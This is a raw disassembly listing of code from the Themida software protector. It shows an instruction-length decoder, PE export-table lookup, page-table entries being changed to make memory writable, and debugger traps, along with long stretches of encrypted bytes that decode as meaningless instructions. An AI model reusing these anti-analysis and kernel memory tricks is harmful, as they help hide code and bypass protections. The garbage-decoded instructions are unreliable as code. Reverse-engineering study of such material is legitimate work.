mov byte ptr [ebp+arg_0+3], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov byte ptr [ebp+arg_C+3], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz [ebp+var_5]
shr ecx, 6
sub ecx, 0
jz loc_5A50D1
dec ecx
jz loc_5A50B4
dec ecx
jnz loc_5A5124
cmp [ebp+var_2], 0
jnz loc_5A5120
cmp [ebp+var_5], 0
jz loc_5A5093
mov byte ptr [ebp+arg_0+3], 2
loc_5A5093: ; CODE XREF: sub_5A4F01+188j
add byte ptr [ebp+arg_0+3], 4
push ebp
call $+5
pop ebp
sub ebp, 6159C32h
mov [ebp+arg_615997C], 1
pop ebp
jmp loc_5A5124
; ---------------------------------------------------------------------------
loc_5A50B4: ; CODE XREF: sub_5A4F01+16Dj
cmp [ebp+var_2], 0
jnz loc_5A50FE
cmp [ebp+var_5], 0
jz loc_5A50FE
mov byte ptr [ebp+arg_0+3], 2
jmp loc_5A50FE
; ---------------------------------------------------------------------------
loc_5A50D1: ; CODE XREF: sub_5A4F01+166j
cmp [ebp+var_2], 0
jnz loc_5A5117
cmp [ebp+var_5], 0
jz loc_5A5106
movzx ecx, byte ptr [ebp+arg_C+3]
mov edx, [ebp+arg_4]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5A50FE
mov byte ptr [ebp+arg_0+3], cl
loc_5A50FE: ; CODE XREF: sub_5A4F01+1B7j
; sub_5A4F01+1C1j ...
inc byte ptr [ebp+arg_0+3]
jmp loc_5A5124
; ---------------------------------------------------------------------------
loc_5A5106: ; CODE XREF: sub_5A4F01+1DEj
cmp dl, 5
jnz loc_5A5124
mov byte ptr [ebp+arg_0+3], dl
jmp loc_5A5124
; ---------------------------------------------------------------------------
loc_5A5117: ; CODE XREF: sub_5A4F01+1D4j
cmp dl, 6
jnz loc_5A5124
loc_5A5120: ; CODE XREF: sub_5A4F01+17Ej
mov byte ptr [ebp+arg_0+3], 3
loc_5A5124: ; CODE XREF: sub_5A4F01+174j
; sub_5A4F01+1AEj ...
dec byte ptr [ebp+arg_0+3]
jz loc_5A5152
movzx ecx, byte ptr [ebp+arg_0+3]
mov [ebp+arg_0], ecx
loc_5A5134: ; CODE XREF: sub_5A4F01+249j
movzx esi, byte ptr [ebp+arg_C+3]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
inc byte ptr [ebp+arg_C+3]
dec [ebp+arg_0]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5A5134
mov esi, edx
loc_5A5152: ; CODE XREF: sub_5A4F01+226j
and al, 0FEh
cmp al, 0F6h
jnz loc_5A5187
cmp edi, 7Fh
ja loc_5A5187
test bl, 38h
jnz loc_5A5187
cmp [ebp+var_7], 0
jz loc_5A5181
movzx eax, [ebp+var_4]
jmp loc_5A5184
; ---------------------------------------------------------------------------
loc_5A5181: ; CODE XREF: sub_5A4F01+271j
push 1
pop eax
loc_5A5184: ; CODE XREF: sub_5A4F01+27Bj
mov [ebp+var_1], al
loc_5A5187: ; CODE XREF: sub_5A4F01+255j
; sub_5A4F01+25Ej ...
mov dl, byte ptr [ebp+arg_C+3]
mov bl, [ebp+var_6]
loc_5A518D: ; CODE XREF: sub_5A4F01+136j
mov al, bl
and eax, 7
sub eax, 4
jz loc_5A51B8
dec eax
dec eax
jz loc_5A51AE
and bl, 7
add [ebp+var_1], bl
jmp loc_5A51C0
; ---------------------------------------------------------------------------
loc_5A51AE: ; CODE XREF: sub_5A4F01+29Cj
mov al, [ebp+var_3]
add al, 6
jmp loc_5A51BD
; ---------------------------------------------------------------------------
loc_5A51B8: ; CODE XREF: sub_5A4F01+294j
mov al, [ebp+var_3]
add al, 4
loc_5A51BD: ; CODE XREF: sub_5A4F01+2B2j
add [ebp+var_1], al
loc_5A51C0: ; CODE XREF: sub_5A4F01+2A8j
mov al, [ebp+var_1]
dec [ebp+var_1]
test al, al
jz loc_5A51E8
movzx ecx, [ebp+var_1]
inc ecx
loc_5A51D3: ; CODE XREF: sub_5A4F01+2E1j
mov edi, [ebp+arg_4]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5A51D3
loc_5A51E8: ; CODE XREF: sub_5A4F01+2C7j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
sub_5A4F01 endp
; ---------------------------------------------------------------------------
loc_5A51EF: ; CODE XREF: Themida_:loc_5A4E97j
lea eax, [ebp+6159A31h]
mov [ebp+6103491h], eax
jmp loc_5A5466
; ---------------------------------------------------------------------------
pusha
mov cx, ds
test cl, 4
jz loc_5A5242
push 1
push dword ptr [ebp+6101499h]
lea eax, [ebp+613858Ah]
call eax
mov [ebp+6101F35h], eax
mov edi, esi
shr edi, 0Ch
push 20060000h
push 0
push 2
push edi
push 1000Dh
call dword ptr [ebp+6101F35h]
jmp loc_5A5274
; ---------------------------------------------------------------------------
loc_5A5242: ; CODE XREF: Themida_:005A5207j
mov byte ptr [ebp+61023E5h], 56h
push 0A9C530DFh
push dword ptr [ebp+6101D45h]
lea eax, [ebp+613858Ah]
call eax
mov [ebp+6101261h], eax
lea eax, [ebp+6101DADh]
push eax
push 40h
push 5
push esi
call dword ptr [ebp+6101261h]
loc_5A5274: ; CODE XREF: Themida_:005A523Dj
popa
retn
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5A5282: ; DATA XREF: Themida_:0054D174o
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+6159E13h], eax
mov eax, [edx+0Ch]
mov [ebp+6159E0Bh], eax
mov eax, [edx+10h]
mov [ebp+6159E0Fh], eax
lea esi, [ebp+6159E49h]
lea eax, dword_5B8EA1[ebp]
call eax
popa
pop edx
retn 0Ch
; ---------------------------------------------------------------------------
mov esi, [ebp+6159E13h]
mov eax, [ebp+6159E0Bh]
cmp dword ptr [ebp+6159E0Fh], 0
jz loc_5A52D4
mov [esi], eax
jmp locret_5A52D6
; ---------------------------------------------------------------------------
loc_5A52D4: ; CODE XREF: Themida_:005A52C7j
mov [esi], al
locret_5A52D6: ; CODE XREF: Themida_:005A52CFj
iret
; ---------------------------------------------------------------------------
align 4
dd 0
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5A52DF: ; DATA XREF: Themida_:0054B568o
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+6159E13h], eax
lea esi, [ebp+6159E9Ah]
lea eax, dword_5B8EA1[ebp]
call eax
popa
pop edx
mov eax, [ebp+6159E13h]
retn 4
; ---------------------------------------------------------------------------
db 8Bh, 85h, 13h
dd 8B06159Eh, 13858900h, 0CF06159Eh, 0
; =============== S U B R O U T I N E =======================================
sub_5A5318 proc near ; DATA XREF: Themida_:0054D1DCo
pusha
mov [ebp+6159E70h], esi
mov [ebp+6159E6Ch], eax
lea eax, [ebp+6100CB5h]
mov eax, [eax+44h]
mov [ebp+6159EA9h], eax
lea esi, [ebp+6159EDFh]
lea eax, dword_5B8EA1[ebp]
call eax
popa
mov eax, [ebp+6159E70h]
retn
sub_5A5318 endp
; ---------------------------------------------------------------------------
mov ebx, [ebp+6159E6Ch]
movzx eax, word ptr [ebx+3Ch]
add ebx, eax
mov ebx, [ebx+78h]
add ebx, [ebp+6159E6Ch]
mov esi, [ebx+24h]
add esi, [ebp+6159E6Ch]
push esi
mov edi, [ebx+20h]
mov esi, [ebx+1Ch]
add edi, [ebp+6159E6Ch]
add esi, [ebp+6159E6Ch]
cld
or ecx, 0FFFFFFFFh
loc_5A537F: ; CODE XREF: Themida_:005A539Dj
; Themida_:005A53ACj
inc ecx
mov ebx, [ebp+6159E70h]
mov edx, [edi]
add edx, [ebp+6159E6Ch]
add edi, 4
loc_5A5391: ; CODE XREF: Themida_:005A53A5j
mov al, [edx]
test al, al
jz loc_5A53AA
cmp al, [ebx]
jnz loc_5A537F
inc ebx
inc edx
jmp loc_5A5391
; ---------------------------------------------------------------------------
loc_5A53AA: ; CODE XREF: Themida_:005A5395j
cmp al, [ebx]
jnz loc_5A537F
pop edi
shl ecx, 1
movzx eax, word ptr [edi+ecx]
mov eax, [esi+eax*4]
add eax, [ebp+6159E6Ch]
mov [ebp+6159E70h], eax
mov esi, eax
mov ecx, esi
mov eax, ecx
cmp dword ptr [ebp+6159EA9h], 0C0300000h
jnz loc_5A53EB
shr eax, 14h
and eax, 0FFCh
jmp loc_5A53F3
; ---------------------------------------------------------------------------
loc_5A53EB: ; CODE XREF: Themida_:005A53D8j
shr eax, 12h
and eax, 3FF8h
loc_5A53F3: ; CODE XREF: Themida_:005A53E6j
mov edi, [ebp+6159EA9h]
or dword ptr [edi+eax], 6
mov edx, [edi+eax]
mov eax, edx
and al, 81h
cmp al, 81h
mov eax, ecx
jz locret_5A5465
cmp dword ptr [ebp+6159EA9h], 0C0300000h
jnz loc_5A542B
shr eax, 0Ah
and eax, 3FFFFCh
jmp loc_5A5433
; ---------------------------------------------------------------------------
loc_5A542B: ; CODE XREF: Themida_:005A5418j
shr eax, 9
and eax, 7FFFF8h
loc_5A5433: ; CODE XREF: Themida_:005A5426j
sub eax, 40000000h
or dword ptr [eax], 6
test dword ptr [eax], 80h
jz locret_5A5465
cmp dword ptr [ebp+6159EA9h], 0C0300000h
jz locret_5A5465
and eax, 3FF8h
mov eax, [eax-3FA00000h]
or dword ptr [eax], 6
locret_5A5465: ; CODE XREF: Themida_:005A5408j
; Themida_:005A5441j ...
iret
; ---------------------------------------------------------------------------
loc_5A5466: ; CODE XREF: Themida_:005A51FBj
lea eax, [ebp+6159E17h]
mov [ebp+6101D09h], eax
lea eax, [ebp+6159EADh] ; CODE XREF: Themida_:005A549Dj
mov [ebp+6101D71h], eax
lea eax, [ebp+6159E74h]
mov [ebp+61000FDh], eax
enter 211Dh, 1Eh
db 64h
mov cl, 5
sub bh, [ecx-5E0CB893h]
jg short loc_5A54EC
pop es
add bh, [ebx]
das
jnp short near ptr loc_5A5472+5
loc_5A549F: ; CODE XREF: Themida_:loc_5A549Fj
jle short loc_5A549F
std
mov dword ptr [ebx-74877F43h], 0FFF432C3h
push ebx
shl dl, 1
or edx, [edi+1Ch]
dec ebx
xchg dh, bh
adc [ebp+edi-1], dh
cmp eax, 32FE2BB7h
sbb [ebx+765723Fh], edi
std
xor al, [esi+34h]
jbe short loc_5A54FA
and edi, [ebx]
inc byte ptr [ebx+2343B89Fh]
in eax, 2Bh
clc
xor ch, [ebx-41h]
mov edx, 743B3232h ; CODE XREF: Themida_:005A5520j
; ---------------------------------------------------------------------------
db 0FEh, 7Fh, 0BAh
dd 0D2E4C210h, 3B4631E5h, 0D3743294h
; ---------------------------------------------------------------------------
loc_5A54EC: ; CODE XREF: Themida_:005A5497j
std
xor dl, [ecx+0B6DDE3Bh]
db 64h
ja short near ptr dword_5A5544
inc eax
aas
jg short near ptr loc_5A556E+2
loc_5A54FA: ; CODE XREF: Themida_:005A54C8j
push ss
aas
loop loc_5A5530
sbb [ebx], edi
mov ecx, 0E6204F65h
in al, dx
mov dl, 95h
xor eax, 1781B5B8h
cmp eax, 0E2FE3B91h ; CODE XREF: Themida_:005A5517j
and al, 64h
db 64h
out dx, al
xlat
jo short near ptr loc_5A550D+2
call far ptr 2F6h:2BDA94EFh
jnb short near ptr loc_5A54D8+1
mov bl, 9Bh
jmp short loc_5A555A
; ---------------------------------------------------------------------------
dw 0D3D6h
dd 3B2332F6h, 40C39AC9h
; ---------------------------------------------------------------------------
loc_5A5530: ; CODE XREF: Themida_:005A54FCj
and ebx, edx
; ---------------------------------------------------------------------------
dw 0BD8Eh
dd 6194B998h, 0EAB3A2AEh, 7A8B12F0h, 3B8C2616h
dword_5A5544 dd 0D2E5D6FEh, 9F9B2103h, 0ECAB0FCDh, 18B425F5h, 3B42A66Dh
; CODE XREF: Themida_:005A54F3j
db 0D6h, 3Dh
; ---------------------------------------------------------------------------
loc_5A555A: ; CODE XREF: Themida_:005A5524j
mov ebp, 1932FE3Ah
mov dword ptr [edi+edi*4+275E1A09h], 1788240h
int 3 ; Trap to Debugger
bound ebp, [esi-73h]
loc_5A556E: ; CODE XREF: Themida_:005A54F8j
mov eax, ds:981A5609h
imul edx, [esi], 0FE3B6421h
test [eax-0E569348h], al
cmc
mov ebp, 8BAA3184h
inc esp
test es:[esi+0Dh], dh
xor [ebx+62C8C975h], ebp
outsb
mov dl, 0Ah
les eax, [ecx]
cmpsd
sbb eax, 3D34EE32h
mov ebx, 3B1932FBh
inc ecx
rep sub [edx], ebp
; ---------------------------------------------------------------------------
dd 6986B9FEh, 0D67D6844h, 86126CC7h, 3DD82773h, 0B86D47FEh
dd 2B32A743h, 226D32F8h, 0FB0761AEh, 3B424846h, 5EA6BBFEh
dd 0B69722F0h, 29702763h, 60B7CDF8h, 0AE8FB1A6h, 3B1F22FEh
dd 68DC258Ah, 3B424846h, 5EA6BBFEh, 0B69722F0h, 297D3663h
dd 60B7CDF8h, 3B3CDAA6h, 0E71032FEh, 2245E076h, 0D8F4E464h
dd 0C789AF0Ah, 34CFE275h, 3BC8387Fh, 3FE03DFEh, 5D3232FEh
dd 0B0C16340h, 1211BF3Eh, 0B040275Eh, 60A6BF0Fh, 82972775h
dd 556666FBh, 3B0EE201h, 3B31DAA9h, 643932FEh, 47056D3Dh
dd 7FC736DAh, 3B3836DAh, 6CD632FEh, 28EDE73Dh, 6E92409Eh
dd 3B35DA47h, 0C13C32FEh, 1E642ACBh, 3418CEF6h, 3B233679h
dd 0FF2854FEh, 340839C9h, 3B64747Ah, 0E9EDB3FEh, 0B654A487h
dd 2BC2B763h, 3ACF3DF8h, 0C72332FEh, 3B913146h, 6CC858FEh
dd 3B643116h, 0F86D12FEh, 1F65BBA1h, 1FC8B3FAh, 3B4629FAh
dd 0F87475FEh, 0C0D79EA4h, 0CBBAD0AFh, 174AE47Fh, 0D8CD56DEh
dd 0B6EE8DF1h, 2E2C0363h, 6C4658F8h, 3B233116h, 0F8CE12FEh
dd 1FB4BBA1h, 1F20B3FAh, 3B3228FAh, 0F84E75FEh, 0FC3041B8h
dd 34B5DD8Dh, 0BEAEC449h, 3D84B9A5h, 0D3983294h, 3B6432FDh
dd 63F16ADEh, 3F3D7677h, 3FA8767Fh, 3B4632E3h, 0B4E062BEh
dd 79466938h, 5FC7A78h, 0EB9BC740h, 86F5B398h, 34D93903h
dd 3B8C0B7Ah, 0E7F954FEh, 0BEBEBF4Ch, 349722B0h, 3BC83174h
dd 0F3DB3DFEh, 3B323346h, 691958FEh, 3B8C3116h, 0F81C12FEh
dd 1F77BBA4h, 1FD5B3FAh, 3BC824FAh, 0F83670FEh, 0C4E85D85h
dd 0A694C71Dh, 3D9992C8h, 0B68C8306h, 2EA8697Bh, 3B97DAF8h
dd 0DEF732FEh, 4F6789F1h, 0C46CDD74h, 30BA872Eh, 47083D3Eh
dd 514632FEh, 38CB61FEh, 1B9132FEh, 0B293F1A5h, 0BA6016A2h
dd 273616BAh, 781932FEh, 8F0EF1ADh, 607486E5h, 34694B9Dh
dd 0A61CC449h, 3DD87C7Bh, 0D3353294h, 3B3232FDh, 62DA6BDEh
dd 3FA87E77h, 3F62767Fh, 3B2332EBh, 7C5263BFh, 3BCB8A46h
dd 0BA0232FEh, 0C4418237h, 6E19581Dh, 3B8C3116h, 0F81B12FEh
dd 1F4FBBA3h
db 0FAh
byte_5A57ED db 0B3h, 0D5h, 1Fh ; DATA XREF: Themida_:0054B56Co
; Themida_:0054E498o
dd 3BC82BFAh, 0F83177FEh, 0EEE12853h, 6CA0BA7Bh, 78945248h
dd 0B690B998h, 2E832D43h, 831CBFF8h, 83CE275Dh, 0B12F6E83h
dd 313FB7CDh, 0F43234EEh, 63B6DB3Fh, 0F82E2C03h, 166C4658h
dd 0FE3B2331h, 0A1F8CE12h, 0FA1FB4BBh, 831F20B3h, 0A4F305E9h
dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0FDA5BC3h, 589h, 8960B900h, 0BF0F1482h, 55006AF1h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0A028D711h, 8B0F37D8h, 22h, 8F0F60h, 0E8000000h, 14h
dd 41292981h, 0A16FA8AAh, 0AD80E8CDh, 0BFD479C5h, 7CA0AC1Ch
dd 0B3B9615Bh, 8B2074F6h, 6E8C3h, 78D70000h, 95CEC201h
dd 0C08B5EF9h, 832BE280h, 10158DBDh, 9750006h, 95BD83h
dd 74000610h, 8B535019h, 47AB8C0h, 85890000h, 610132Dh
dd 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h
dd 47AB853h, 85890000h, 610132Dh, 0B51D9D8Dh, 0D3FF0612h
dd 0EE9585Bh, 90000000h, 8B091E0Ah, 61755AE6h, 3B13E632h
dd 0E8C08B96h, 12h, 6B7AA46h, 0B1646F65h, 0FBF5BD72h, 0E233137Eh
dd 0FA8B680Ch, 0D1B70F59h, 5D80C181h, 0BE90000h, 57000000h
dd 6C5F6EB9h, 375D0332h, 0DB3374C2h, 8119048Bh, 0D269DBE8h
dd 37CF816Dh, 8161BC8Dh, 1D933C0h, 4ABE660Fh, 4AE88137h
dd 814E56B8h, 8F9077C6h, 8FF9507Eh, 0EB831904h, 0D2BF0F04h
dd 0A2E8FB81h, 850FFFFFh, 0FFFFFFC4h, 0CE9h, 0A64C9000h
dd 74h, 0
dd 529E900h, 47E70000h, 1BD14804h, 3CF168E4h, 1BD04703h
dd 39EB6ADEh, 3C483EFAh, 5FDB1ACEh, 38F435D8h, 56D20DC1h
dd 37F328DFh, 1C16854h, 0E56BD9D9h, 79323C08h, 5BDE5044h
dd 0BDB96DA6h, 327113A0h, 1348FF76h, 38F30D5Fh, 6DCC7C8Ah
dd 66DCED35h, 32EAD17Ah, 0F8ACE79Bh, 0B883587Ch, 9D25E40Fh
dd 796DCC66h, 0AE2DD9FDh, 98D3BFF6h, 22C96807h, 44EA71EDh
dd 826B5509h, 3FEA3888h, 6DCCF783h, 66E20763h, 72E9FE8Ch
dd 0F69581BCh, 745E1253h, 1DA5647Ah, 0F96DCC6Bh, 24BB607Dh
dd 9A0E49FDh, 432F641Bh, 0CC6BAB14h, 8CC57C6Dh, 5FE3A698h
dd 0B76DCC6Bh, 0C45FCBBh, 0DF632618h, 376DCC6Bh, 5BFA893Bh
dd 7D2A675h, 0F5712566h, 49AC43D8h, 336B1E88h, 8268h, 22C39600h
dd 1C3135E1h, 44793290h, 0A55BDE50h, 8758CC65h, 0C29E4BBEh
dd 0DA46FEA5h, 0B5C76DCCh, 0D63D81B8h, 64793BE7h, 0A5A620BFh
dd 92E0FC77h, 6F9CEEBh, 336B32ABh, 0AFEAA01Bh, 9E8D5FC3h
dd 92338B24h, 0E18764C0h, 1, 437A322Bh, 6390384Fh, 0CC7C1AA8h
dd 421EFA6Dh, 5794374Eh, 10AF10ABh, 7B2E5B11h, 923383C7h
dd 1116431Fh, 55024AE9h, 33C2765Ah, 2FAA4E8Ch, 11EC57B1h
dd 0D7F37935h, 7C4002A9h, 0C8A46DCCh, 3C8428B3h, 0E40D9B52h
dd 0EB2CDDFEh, 0A037EB07h, 88C5B1E8h, 33D55CF3h, 0AC138F4h
dd 3AA21D5h, 0F68DD6CAh, 0BC679A5Fh, 96D7336Ah, 0F09B79CFh
dd 6DCC8E52h, 0E91B6B2h, 89805A68h, 6DCCF439h, 46C81DDh
dd 6Eh, 3196D746h, 6D2AA6h, 0B759E2F7h, 580D8C78h, 0AE54731Fh
dd 64087F73h, 0C302A625h, 972EC5CFh, 1EA9629h, 0B9301F2Fh
dd 0F1D2A742h, 0F231D352h, 0D80DBF36h, 0CCF29131h, 0A65E756Dh
dd 0C39F836Fh, 2FD4F39Fh, 5D79B257h, 2CC300A9h, 6AA618C9h
dd 43F833h, 32520000h, 34533F7Eh, 4C9F538Eh, 0B355DC73h
dd 2CDF5A74h, 4A1F03EFh, 4D7F694h, 0F67A265Bh, 7BB25AE1h
dd 7C67E087h, 0D4A86DCCh, 4A246305h, 0CC7CE35Fh, 5227036Dh
dd 0D617D271h, 0B6336B35h, 1, 427B3214h, 0AB5DDC4Eh, 1BC48F6Ch
dd 6FEA14E6h, 2E9483B8h, 0C66DCC7Ch, 7918D6Ah, 954CD56Ch
dd 7483E05Ch, 75969567h, 1167FC06h, 0B79BD27Ah, 0D513CCCBh
dd 0BD480C0Fh, 13C7AB51h, 0FA9DDB84h, 23956534h, 1C38792Ch
dd 0C5252638h, 0CA288E1Bh, 34632338h, 9423788Ch, 0E243E2C1h
dd 7DB25929h, 0D5CBA489h, 0D0179488h, 0DD5CD0F4h, 8605F126h
dd 9FFCA8DDh, 0DA6165FCh, 2A06FA33h, 0A8DD864Dh, 75344A34h
dd 94230CCDh, 67304D29h, 397BC5A6h, 13686h, 0BD5CC400h
dd 0C41F4C1Eh, 10BC9B43h, 0FAB1C7A4h, 67FCBFC1h, 36374925h
dd 48C6808Dh, 43431854h, 94669B44h, 3DE91EC5h, 1B9A2439h
dd 0A7F19464h, 1349F612h, 7D294D3Ah, 0B229DDF9h, 0B9D0C4F9h
dd 3E2BD718h, 0BCE77770h, 782DAC3Bh, 0B241533Fh, 0CBF0AD13h
dd 136ED34h, 0E23F924Dh, 0D1AF397Ah, 3C3468DAh, 0BB908C94h
dd 2C15h, 0C15C7700h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h
dd 41EDCC7Ch, 88C97C3Fh, 1A31D073h, 702DCFFh, 6DCC7C9Bh
dd 0FA6BDF3Bh, 9Fh, 1EBD5C52h, 0C3C5D4Ch, 4ECA67FCh, 477C23A2h
dd 0E1FF3835h, 22CE0FC2h, 6E03193Eh, 3FB6805Dh, 0F89F5388h
dd 9423C44Dh, 2EE27DEh, 0EFA3E083h, 0E54CE3BCh, 161A0641h
dd 0FEBD9F3Ah, 4DEE0B4Ah, 0A14514B6h, 91B6BA66h, 0D39D3EBAh
dd 0FBB895DBh, 469B0F44h, 57522CAFh, 9E1697A1h, 0EE89C1Fh
dd 0EE721E57h, 2905F5D2h, 0B2D1657h, 60AA0026h, 43FC9B8Bh
dd 0BF63620Eh, 52F99084h, 6D56691Dh, 8D35F4D6h, 699E1557h
dd 0C47FE90Dh, 99A72E2Dh, 68CCB8F7h, 41B7728Ch, 2194208Ah
dd 5C038945h, 5D4C1EBDh, 67F9A1AFh, 6586D815h, 0CE1892D9h
dd 8175B657h, 0BBD2C8A5h, 40793008h, 35544024h, 56E5598Eh
dd 656678ADh, 1B6C68F3h, 0E2604B01h, 294265Dh, 712D4A26h
dd 0F243C12Ah, 22C1E20Bh, 0D58C5C03h, 13A6B89Ch, 0A21C3172h
dd 25376C13h, 0E5ACF096h, 0E06972DEh, 3F23CFF3h, 0AA5D7C2Ah
dd 942FB96Dh, 568B34FDh, 23E6F8E2h, 0EAFA859Fh, 55DEFB77h
dd 1C8D79AEh, 3, 326D5F70h, 52493D80h, 19B06499h, 4F463A75h
dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
dd 0CF554178h, 6CFE68h, 243C8900h, 321468h, 242C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push 615A54Bh
mov ebp, [esp]
add esp, 4
push 58BAh
mov [esp], esp
add dword ptr [esp], 4
pop esi
push edx
mov edx, 8
add edx, 789D4497h
add edx, esi
sub edx, 789D4497h
mov [edx], ebp
pop edx
push dword ptr [esp]
pop esi
add esp, 4
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 0A9h
dd 81C29228h, 7985EC36h, 0B8198A14h, 615A9FDh, 0E0FFC503h
dd 2FB86E48h, 399CC6D7h, 6D8097C9h, 757020D4h, 4C557A4Fh
dd 386C8E48h, 39052637h, 242CB9C7h, 54D0AA84h, 46BE591Ch
dd 626B2E23h, 4993B173h, 6620D96Bh, 54B4DE44h, 0A42DC59h
dd 5CD48420h, 77310891h, 79B8AEE2h, 7C80AD32h, 13466E9h
dd 2FD4FAAEh, 745225A6h, 47A15338h, 700E6E8Fh, 2EE9h, 0CB338F00h
dd 0Ah, 9 dup(0)
dd 0E9000000h, 534h, 0AE2A6D1Dh, 8E4A8127h, 0B5296207h
dd 88448126h, 0AC205F11h, 5C1042BEh, 771AA11Dh, 4FF38236h
dd 6A219814h, 0AA967935h, 0D9D743FFh, 7E46A36Bh, 265B04D7h
dd 0ACE18A51h, 0F02FE1F8h, 0DB06BD3Ch, 0CC7C9230h, 900726Dh
dd 6DCC7CB9h, 0BE5015Dh, 0CC7CA220h, 0AE6426Dh, 93C87F16h
dd 940E8DFh, 3BFE621Dh, 8E2D4A89h, 40752EF7h, 3DAC3D2Eh
dd 2F6B9AA7h, 0D054407Bh, 7D5FD7F4h, 0D6CA0BBEh, 10B67D5Ah
dd 84D2FBD5h, 5516D379h, 36C5794Eh, 0CFA15590h, 491E530Ch
dd 0F29EDF92h, 1F52ED3h, 0FCA8E58Ah, 38EC2BDDh, 58F78A3Ch
dd 902FC274h, 26A2DD91h, 8328F8AFh, 2F762A46h, 6DCCA296h
dd 6E8B2A99h, 336A57A3h, 6A9F4813h, 71DB8Dh, 0D7310000h
dd 6E225F04h, 0A55ED5F2h, 6FD58470h, 0B06DCC7Ch, 9C75700Fh
dd 7C336B35h, 11h, 0C0754982h, 3AD521E6h, 301D3443h, 0C5A216C6h
dd 0A87A32FFh, 58DCC801h, 5B11887Ch, 0B6597024h, 0D1F28D79h
dd 164DF332h, 4C01B8A2h, 7CD46E1Dh, 34306DCCh, 0C3656410h
dd 0B0949084h, 3267209Bh, 461D3318h, 6241103Ah, 0CC201BA7h
dd 431FFB6Dh, 321AB026h, 34533F7Eh, 0ECA1558Ch, 57F938D7h
dd 6E15A418h, 0CEB48930h, 0F2CE238Eh, 0A9E287FEh, 97D4ACFDh
dd 5AD97A82h, 52F106EFh, 0DBEB36B3h, 96CB336Ah, 41000000h
dd 533F7E32h, 0BE0407D9h, 8F6DCC7Ch, 73EF9FDCh, 0F8D50CB4h
dd 334D863Bh, 0DAC603A8h, 7CA2E34Dh, 0EED2B78Eh, 0BC0F9BC9h
dd 728767E1h, 7967F9B4h, 0CC943092h, 8358D46Dh, 0F6C501A0h
dd 0FE6B174Eh, 4C25792Eh, 17341057h, 0D7A9E89Ch, 51265B04h
dd 1B5A0E8Dh, 7EBB7067h, 136ED6Ch, 5A693AECh, 0B2833EBBh
dd 5363336Ah, 0A9000000h, 533F7E32h, 13B88E34h, 8F462AD6h
dd 0D1C5A1DAh, 2CAE45DEh, 8CA21952h, 0A118BFB5h, 0CCFD48FAh
dd 9BB0AC6Dh, 0B12D6C20h, 437A321Bh, 0EE545729h, 66DCC7Ch
dd 7CCD7534h, 4D296DCCh, 3525429h, 6DCC7CBAh, 42A73E7Dh
dd 336B356Fh, 14Fh, 7B32BD00h, 90374E42h, 7C1CA665h, 7CF86DCCh
dd 0EB38658h, 74B156D5h, 433DA757h, 0E8A3D078h, 6DCC7C5Ah
dd 65825EBAh, 4FF63FD6h, 0B63DA216h, 0BB604B25h, 4B67FC06h
dd 863EFDCFh, 0FAD60BB4h, 0F9AB2A06h, 8D6AC6BAh, 631C9F91h
dd 9DE422Eh, 0E8649952h, 9C8FBA71h, 94238A26h, 927E62BEh
dd 238A7DC3h, 0B251F294h, 0FF434618h, 1794238Ah, 0CE753E1Bh
dd 0ED962599h, 16CDCCB8h, 8C689D46h, 1A0C398h, 76326720h
dd 7B3FEAC3h, 126CA39h, 5C400000h, 8D4C1EBDh, 68F5A1D6h
dd 36D0358Bh, 390E3239h, 0CF823927h, 19CA98Eh, 7260F2BFh
dd 0F59DAE55h, 0D6967FCh, 94C98219h, 1AEAA118h, 67223C71h
dd 943CD4DBh, 0F03DF3Bh, 81D7301Dh, 1F26497Ch, 0A5DA914Ah
dd 0F835DAF1h, 0A0D78D0Ch, 8B2AF9F4h, 9C334845h, 5B9EE95h
dd 0AFEAA01Bh, 960CE59Ah, 4BEC397Ah, 5E000000h, 401AC15Ch
dd 0CC7CD949h, 35F2DBEDh, 96CB26FEh, 645EE4A7h, 0BAB6EDCCh
dd 306B1F96h, 170BE044h, 8E09CD12h, 0C198C9BFh, 0F4BA9F05h
dd 9C886CCDh, 0CC8275CDh, 0AA95AEDh, 4719C255h, 0CC82DE44h
dd 0BE7AF66Dh, 7345h, 0BD5CB700h, 437E1815h, 597DABE7h
dd 0F3E78487h, 0C39F67FCh, 0DA0FB8CFh, 57983900h, 863DBC82h
dd 6BC7F51h, 0A9F0AECBh, 943C931Eh, 4ED76E55h, 97EC6095h
dd 8A815B80h, 9E094A1Ah, 0D07DB398h, 0C7279DDAh, 8074F0B2h
dd 792D6209h, 8470AD62h, 7B276005h, 0FCC05F40h, 4318B74Ah
dd 565527B4h, 9422D7CEh, 1750F5C4h, 30F2076Bh, 0C6BAF599h
dd 34D2866Ah, 235E04D7h, 87D6F36Fh, 6F916B70h, 0CC7C06BCh
dd 6582DE6Dh, 0A7089893h, 0CCA867F9h, 0D50AC1D8h, 0EB29E259h
dd 739328C4h, 190DE9C0h, 0B0F19427h, 8F57EB9Eh, 0B3AF9426h
dd 0C54ED96h, 0F0CFE1C4h, 0E217D051h, 0D38EF66h, 0C00CA41Eh
dd 0A3494080h, 0B86C886Ch, 51F198C6h, 0B580C00Ch, 7417A4B9h
dd 0C9ADE49Ch, 0CF06BEDDh, 0C2FFA423h, 6D049BCEh, 0A73EF55Fh
